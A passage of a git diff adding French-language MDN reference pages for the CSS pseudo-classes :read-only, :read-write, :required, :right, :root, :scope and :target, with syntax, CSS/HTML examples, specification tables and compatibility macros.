+ <li>{{HTMLElement("textarea")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Les formulaires HTML</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_read-only/index.html b/files/fr/web/css/_colon_read-only/index.html
new file mode 100644
index 0000000000..d8d7183237
--- /dev/null
+++ b/files/fr/web/css/_colon_read-only/index.html
@@ -0,0 +1,102 @@
+---
+title: ':read-only'
+slug: 'Web/CSS/:read-only'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Refrence
+translation_of: 'Web/CSS/:read-only'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:read-only</code></strong> permet de cibler un élément que l'utilisateur ne peut pas modifier (l'élément est en lecture seule).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;input&gt; */
+/* en lecture seule */
+
+/* Firefox utilise un préfixe */
+input:-moz-read-only {
+  background-color: #ccc;
+}
+
+/* Blink/WebKit/Edge n'ont pas de préfixe */
+input:read-only {
+  background-color: #ccc;
+}</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Ce sélecteur ne permet pas de cibler que les éléments {{HTMLElement("input")}} ou {{HTMLElement("textarea")}} avec {{htmlattrxref("readonly", "input")}}. Il permet de sélectionner n'importe quel élément qui ne peut pas être édité par l'utilisateur.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input { min-width: 25em; }
+input:-moz-read-only { background: cyan; }
+input:read-only { background: cyan; }
+
+p:-moz-read-only { background: lightgray; }
+p:read-only { background: lightgray; }
+p[contenteditable="true"] { color: blue; }
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="Un champ en lecture seule" readonly /&gt;
+&lt;p contenteditable="true"&gt;
+  Essayez un peu d'éditer ce paragraphe.
+&lt;/p&gt;
+&lt;p&gt;
+  Bonne chance pour celui-là !
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 class="editable" id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-read-only', ':read-only')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-read-only', ':read-only')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et aux contraintes de validation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#rw-pseudos', ':read-only')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition de la pseudo-classe mais pas de la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.read-only")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":read-write")}}</li>
+ <li>L'attribut HTML {{htmlattrxref("contenteditable")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_read-write/index.html b/files/fr/web/css/_colon_read-write/index.html
new file mode 100644
index 0000000000..d867eaee4e
--- /dev/null
+++ b/files/fr/web/css/_colon_read-write/index.html
@@ -0,0 +1,96 @@
+---
+title: ':read-write'
+slug: 'Web/CSS/:read-write'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:read-write'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:read-write</code></strong> permet de cibler un élément lorsque celui-ci peut être édité par l'utilisateur (par exemple les champs texte d'un formulaire ou les éléments {{HTMLElement("textarea")}}).</p>
+
+<pre class="brush: css no-line-numbers">/* Cible tout élément éditable */
+/* Pris en charge dans Firefox avec un préfixe */
+input:-moz-read-write {
+  background-color: #ccc;
+}
+
+/* Pris en charge sans préfixe pour Blink/WebKit/Edge */
+input:read-write {
+  background-color: #ccc;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Ce sélecteur ne sélectionne pas que les champs de saisie textuels ({{HTMLElement("input")}} ou {{HTMLElement("textarea")}}). Il permet de sélectionner n'importe quel élément qui peut être édité par l'utilisateur (par exemple un élément {{htmlelement("p")}} avec un attribut {{htmlattrxref("contenteditable")}}).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css line-numbers  language-css">input { min-width: 25em; }
+input:-moz-read-write { background: cyan; }
+input:read-write { background: cyan; }
+
+p:-moz-read-write { background: lightgray; }
+p:read-write { background: lightgray; }
+p[contenteditable="true"] { color: blue; }
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="text" value="Un champ en lecture seule"/&gt;
+&lt;p contenteditable&gt;Essayez un peu d'éditer ce paragraphe.&lt;/p&gt;
+&lt;p&gt;Bonne chance pour celui-là !&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-read-write', ':read-write')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-read-write', ':read-write')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et aux contraintes de validation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#rw-pseudos', ':read-write')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition de la pseudo-classe mais pas de la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.read-write")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":read-only")}}</li>
+ <li>L'attribut HTML {{htmlattrxref("contenteditable")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_required/index.html b/files/fr/web/css/_colon_required/index.html
new file mode 100644
index 0000000000..f2fcdc5366
--- /dev/null
+++ b/files/fr/web/css/_colon_required/index.html
@@ -0,0 +1,120 @@
+---
+title: ':required'
+slug: 'Web/CSS/:required'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:required'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:required</code></strong> permet de cibler un élément {{HTMLElement("input")}} pour lequel l'attribut {{htmlattrxref("required", "input")}} est activé. Cela permet de mettre en forme les éléments obligatoires pour remplir correctement un formulaire.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible les éléments &lt;input&gt; qui ont */
+/* l'attribut required */
+input:required {
+  border: 1px dashed red;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La pseudo-classe {{cssxref(":optional")}} pourra être utilisée pour mettre en forme les champs facultatifs.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input {
+  border-width: 3px;
+}
+input:optional {
+  border-color: #008000;
+}
+input:required {
+  border-color: #800000;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="url-input"&gt;Tapez une URL :&lt;/label&gt;
+  &lt;input type="url" id="url-input"&gt;
+  &lt;br&gt;
+  &lt;br&gt;
+  &lt;label for="email-input"&gt;Tapez une adresse courriel :&lt;/label&gt;
+  &lt;input type="email" id="email-input" required&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','100%',150)}}</p>
+
+<p> </p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Si un formulaire ({{HTMLElement("form")}}) contient des champs ({{htmlelement("input")}}) optionnels, les champs obligatoires doivent être indiqués avec l'attribut {{htmlattrxref("input","required")}}. Ainsi, les personnes utilisant des outils d'assistance (par exemple un lecteur d'écran) pourront savoir que ces champs ont besoin d'un contenu valide afin de pouvoir envoyer le formulaire.</p>
+
+<p>Les champs obligatoires devraient également être indiqués visuellement et cette indication ne doit pas uniquement être fournie avec une couleur. Généralement, un texte descriptif ou une icône est utilisé.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Explications des recommendation WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-required', ':required')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-required', ':required')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et aux contraintes de validation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#opt-pseudos', ':required')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#pseudo-required-value', ':required')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition de la pseudo-classe mais pas de la sémantique associée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.required")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":optional")}}</li>
+ <li>{{cssxref(":invalid")}}</li>
+ <li>{{cssxref(":valid")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">La validation des données d'un formulaire</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_right/index.html b/files/fr/web/css/_colon_right/index.html
new file mode 100644
index 0000000000..239d2171f9
--- /dev/null
+++ b/files/fr/web/css/_colon_right/index.html
@@ -0,0 +1,71 @@
+---
+title: ':right'
+slug: 'Web/CSS/:right'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:right'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:right</code></strong>, liée à la règle {{cssxref("@page")}}, correspond aux pages de droite pour un média paginé. Ceci permet de mettre en forme les pages de droite.</p>
+
+<pre class="brush: css no-line-numbers">/* Sélectionne le contenu des pages droites */
+/* lorsqu'on imprime le document */
+@page :right {
+  margin: 2in 3in;
+}</pre>
+
+<p>La position de la page (à gauche ou à droite) dépend de la direction d'écriture appliquée au document. Si la première page est écrite de la gauche vers la droite, alors ce sera une page droite, sinon ce sera une page gauche (qui pourra alors être ciblée avec {{cssxref(":left")}}).</p>
+
+<div class="note"><strong>Note :</strong> Il n'est pas possible de modifier toutes les propriétés CSS. Seules les propriétés {{cssxref("margin")}}, {{cssxref("padding")}}, {{cssxref("border")}}, and {{cssxref("background")}} <strong>de la boîte correspondant à la page</strong> peuvent être modifiées. Toutes les autres propriétés CSS seront ignorées, et seulement la boîte correspondant à la page, et en aucun cas le contenu du document pourront être affectés.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@page :right {
+  margin: 2cm 3cm;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#left-right-first', ':right')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#page-selectors', ':right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.right")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@page")}}</li>
+ <li>{{cssxref(":first")}}</li>
+ <li>{{cssxref(":left")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_root/index.html b/files/fr/web/css/_colon_root/index.html
new file mode 100644
index 0000000000..cdfe0ca96f
--- /dev/null
+++ b/files/fr/web/css/_colon_root/index.html
@@ -0,0 +1,62 @@
+---
+title: ':root'
+slug: 'Web/CSS/:root'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:root'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:root</code></strong> permet de cibler la racine de l'arbre représentant le document. Pour un document HTML, <code>:root</code> ciblera donc l'élément {{HTMLElement("html")}} et aura le même comportement que le sélecteur <code>html</code> mais <a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage#Le_poids_des_sélecteurs">sa spécificité</a> sera plus forte.</p>
+
+<pre class="brush: css no-line-numbers">/* Sélectionne l'élément racine du document */
+/* Pour un document HTML, c'est &lt;html&gt; */
+:root {
+  background: yellow;
+}</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><code>:root</code> peut être utile lorsqu'on déclare <a href="/fr/docs/Web/CSS/--*">des propriétés CSS personnalisées globales</a> :</p>
+
+<pre class="brush: css">:root {
+  --main-color: hotpink;
+  --pane-padding: 5px 42px;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#root-pseudo', ':root')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.root")}}</p>
diff --git a/files/fr/web/css/_colon_scope/index.html b/files/fr/web/css/_colon_scope/index.html
new file mode 100644
index 0000000000..eba58021b7
--- /dev/null
+++ b/files/fr/web/css/_colon_scope/index.html
@@ -0,0 +1,84 @@
+---
+title: ':scope'
+slug: 'Web/CSS/:scope'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:scope'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:scope</code></strong> correspond aux éléments qui sont un point de référence pour faire correspondre les sélecteurs.</p>
+
+<pre class="brush: css">/* Sélectionne un élément dans la portée */
+:scope {
+  background-color: lime;
+}</pre>
+
+<p>À l'heure actuelle, lorsqu'elle est utilisée dans une feuille de style, <code>:scope</code> est identique à {{cssxref(":root")}} car il n'existe pas de moyen pour identifier un élément dont la portée est restreinte. Lorsqu'elle est utilisée à travers des méthodes telles que {{domxref("Element.querySelector", "querySelector()")}}, {{domxref("Element.querySelectorAll", "querySelectorAll()")}}, {{domxref("Element.matches", "matches()")}} ou {{domxref("Element.closest()")}}, <code>:scope</code> correspond à l'élément sur lequel la méthode est appelée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on voit comment utiliser <code>:scope</code> via la méthode {{domxref("Element.matches()")}}.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">let paragraphe = document.getElementById("para");
+let output = document.getElementById("output");
+
+if (paragraphe.matches(":scope")) {
+  output.innerText = "Oui l'élément est dans sa propre portée, comme attendu !";
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="para"&gt;
+  Voici un paragraphe, pas vraiment intéressant mais bon.
+&lt;/p&gt;
+&lt;p id="output"&gt;&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample('Exemples')}}</div>
+
+<h2 id="Spéifications">Spéifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#the-scope-pseudo', ':scope')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.scope")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> {{cssxref(":root")}}</li>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model/Localisation_des_éléments_DOM_avec_les_sélecteurs">Localiser des éléments du DOM grâce aux sélecteurs</a></li>
+ <li>{{domxref("Element.querySelector()")}} et {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}} et {{domxref("Document.querySelectorAll()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} et {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_target/index.html b/files/fr/web/css/_colon_target/index.html
new file mode 100644
index 0000000000..bba7c3b8b3
--- /dev/null
+++ b/files/fr/web/css/_colon_target/index.html
@@ -0,0 +1,240 @@
+---
+title: ':target'
+slug: 'Web/CSS/:target'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:target'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:target</code></strong> permet de cibler l'unique élément (s'il existe) dont l'attribut {{htmlattrxref("id")}} correspond au fragment d'identifiant de l'URI du document.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible un élément dont l'identifiant      */
+/* correspond au fragment de l'URL courante */
+:target {
+  border: 2px solid black;
+}</pre>
+
+<p>Les URI comportant des fragments d'identifiant peuvent être utilisées pour créer des liens vers un élément donné d'un document qu'on appellera l'élément cible (<em>target element</em>). Voici un exemple d'URI qui pointe vers une <em>ancre</em> intitulée <code>section2</code> :</p>
+
+<pre>http://exemple.com/chemin/document.html#section2</pre>
+
+<p>L'élément suivant sera donc ciblé par le sélecteur <code>:target</code> avec l'URL précédente :</p>
+
+<pre class="brush: html">&lt;section id="section2"&gt;Exemple&lt;/section&gt;</pre>
+
+<div class="note"><strong>Note :</strong> L'attribut <code>id</code> a été ajouté avec HTML 4 (décembre 1997). Dans les anciennes versions de HTML, <code>&lt;a&gt;</code> était nécessairement l'élément cible. La pseudo-classe <code>:target</code> permet également de gérer ces cibles.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_simples">Exemples simples</h3>
+
+<pre class="brush:css">/* Exemple de code pouvant être utilisé dans une feuille
+   de style utilisateur. Une flèche rouge/jaune indique
+   l'élément cible. */
+
+:target {
+  box-shadow: 0.2em 0.2em 0.3em #888;
+}
+
+:target:before {
+  font:           70% Arial,"Nimbus Sans L",sans-serif !important;
+  content:        "\25ba";  /* ► */
+  color:          red;
+  background:     gold;
+  border:         solid thin;
+  padding-left:   1px;
+  display:        inline-block;
+  margin-right:   0.13em;
+  vertical-align: 20%;
+}
+</pre>
+
+<h3 id="Manipuler_les_éléments_avec_display_none">Manipuler les éléments avec <code>display: none</code></h3>
+
+<p>La pseudo-classe <code>:target</code> s'accommode également des éléments qui ne sont pas affichés.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">#newcomment {
+  display: none;
+}
+
+#newcomment:target {
+  display: block;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;&lt;a href="#newcomment"&gt;Ajouter un commentaire&lt;/a&gt;&lt;/p&gt;
+&lt;div id="newcomment"&gt;
+  &lt;form&gt;
+  &lt;p&gt;Saisir un commentaire :&lt;br /&gt;
+  &lt;textarea&gt;&lt;/textarea&gt;&lt;/p&gt;
+  &lt;/form&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Manipuler_les_éléments_avec_display:_none")}}</p>
+
+<h3 id="Révéler_des_éléments">Révéler des éléments</h3>
+
+<p><code>:target</code> peut être utile afin de révéler/masquer certains éléments invisibles.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">div.lightbox {
+  display: none;
+  position: fixed;
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+}
+
+div.lightbox:target {
+  display: table;
+}
+
+div.lightbox figure {
+  display: table-cell;
+  margin: 0;
+  padding: 0;
+  width: 100%;
+  height: 100%;
+  vertical-align: middle;
+}
+
+div.lightbox figure figcaption {
+  display: block;
+  margin: auto;
+  padding: 8px;
+  background-color: #ddbbff;
+  height: 250px;
+  position: relative;
+  overflow: auto;
+  border: 1px #000000 solid;
+  border-radius: 10px;
+  text-align: justify;
+  font-size: 14px;
+}
+
+div.lightbox figure .closemsg {
+  display: block;
+  margin: auto;
+  height: 0;
+  overflow: visible;
+  text-align: right;
+  z-index: 2;
+  cursor: default;
+}
+
+div.lightbox figure .closemsg, div.lightbox figure figcaption {
+  width: 300px;
+}
+
+.closemsg::after {
+  content: "\00D7";
+  display: inline-block;
+  position: relative;
+  right: -20px;
+  top: -10px;
+  z-index: 3;
+  color: #ffffff;
+  border: 1px #ffffff solid;
+  border-radius: 10px;
+  width: 20px;
+  height: 20px;
+  line-height: 18px;
+  text-align: center;
+  margin: 0;
+  background-color: #000000;
+  font-weight: bold;
+  cursor: pointer;
+}
+
+.closemsg::before {
+  content: "";
+  display: block;
+  position: fixed;
+  left: 0;
+  top: 0;
+  width: 100%;
+  height: 100%;
+  background-color: #000000;
+  opacity: 0.85;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Un texte pour l'exemple&amp;hellip;&lt;/p&gt;
+&lt;p&gt;[ &lt;a href="#exemple1"&gt;Ouvrir l'exemple n°1&lt;/a&gt; | &lt;a href="#exemple2"&gt; Ouvrir l'exemple n°2&lt;/a&gt; ]&lt;/p&gt;
+&lt;p&gt;Un autre texte pour l'exemple&amp;hellip;&lt;/p&gt;
+&lt;div class="lightbox" id="exemple1"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="closemsg"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec felis enim, placerat id eleifend eu, semper vel sem. Sed interdum commodo enim venenatis pulvinar. Proin mattis lorem vitae diam scelerisque hendrerit. Fusce cursus imperdiet mauris, vitae hendrerit velit dignissim a. Suspendisse potenti. Aenean feugiat facilisis diam, in posuere sapien mattis vel. Proin molestie rutrum diam, pharetra feugiat ligula sollicitudin sed. Etiam cursus diam quis tellus aliquam gravida. Aliquam erat volutpat.&lt;br /&gt;
+    Etiam varius adipiscing mi eget imperdiet. Nulla quis vestibulum leo. Integer molestie massa ut massa commodo in blandit purus aliquam. Mauris sit amet posuere massa. Ut a eleifend augue. Proin sodales mauris nec tellus pharetra dictum.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;
+
+&lt;div class="lightbox" id="exemple2"&gt;
+  &lt;figure&gt;
+    &lt;a href="#" class="closemsg"&gt;&lt;/a&gt;
+    &lt;figcaption&gt;Cras risus odio, pharetra nec ultricies et, mollis ac augue. Nunc et diam quis sapien dignissim auctor. Quisque quis neque arcu, nec gravida magna. Etiam ullamcorper augue quis orci posuere et tincidunt augue semper. Maecenas varius augue eu orci auctor bibendum tristique ligula egestas. Morbi pharetra tortor iaculis erat porta id aliquam leo cursus. Ut nec elit vel mauris dapibus lacinia eget sed odio.&lt;/figcaption&gt;
+  &lt;/figure&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Révéler_des_éléments")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "browsers.html#selector-target", ":target")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition de la sémantique relative à HTML.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#the-target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#target-pseudo", ":target")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.target")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
